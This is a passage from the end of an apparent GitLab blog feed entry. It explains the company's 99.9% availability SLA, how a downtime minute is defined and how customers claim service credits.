* API requests (limited to the above)</p><p>The most up-to-date list of covered and excluded experiences is available in the <a href="https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#covered-experiences" rel="">GitLab handbook</a>.</p><p>Service availability is measured using automated monitoring across multiple geographic locations, providing an accurate representation of actual service availability experienced by customers. When availability falls below 99.9%, customers are eligible to claim credits based on the severity of the shortfall.</p><h2 id="understanding-downtime-minutes">Understanding downtime minutes</h2><p>When the GitLab service experiences degraded availability of 5% or more of valid customer requests for covered experiences in a given minute, resulting in server errors, this is called a <a href="https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#downtime-minute-definition" rel="">downtime minute</a>. Server errors are defined as HTTP 5xx status codes or connection timeouts exceeding 30 seconds as determined by GitLab&#39;s internal and external monitoring systems.</p><p>The SLA measures server-side failures, but some issues may not trigger 5xx errors, such as application bugs that make features unusable, Sidekiq job processing outages, or infrastructure problems that degrade performance without failing requests outright.</p><p>Here’s how you can claim service credits when applicable:</p><ol><li>Submit a support request at support.gitlab.com within thirty (30) days after the end of the affected month to claim downtime credits.</li><li>The GitLab team reviews the claim, validates the downtime, and processes the credit if applicable.</li><li>Service credits will be applied against your next issued invoice.</li></ol><p><a href="https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#calculating-monthly-uptime-percentage" rel="">Read the handbook</a> for more on how monthly uptime availability is calculated, the service credits offered when applicable, and the credit claim procedures.</p><p>While our monitoring is designed to capture the vast majority of service disruptions, if your experience doesn&#39;t match reported availability, we encourage you to submit a service credit claim. GitLab will review the claim holistically, including investigating issues that may not be reflected in automated monitoring.</p><h2 id="reliability-you-can-count-on">Reliability you can count on</h2><p>The 99.9% availability SLA with service credits represents our commitment to being a reliable foundation for your software delivery workflows. Your teams depend on GitLab to keep shipping, and we&#39;re here to back you up.</p><p>Questions about the SLA? Contact your GitLab account team or submit a request through <a href="http://support.GitLab.com" rel="">GitLab Support</a>.</p>]]></content>
        <author>
            <name>Aathira Nair</name>
            <uri>https://about.gitlab.com/blog/authors/aathira-nair/</uri>
        </author>
        <author>
            <name>Lyle Kozloff</name>
            <uri>https://about.gitlab.com/blog/authors/lyle-kozloff/</uri>
        </author>
        <published>2026-02-18T00:00:00.000Z</published>
    </entry>
</feed>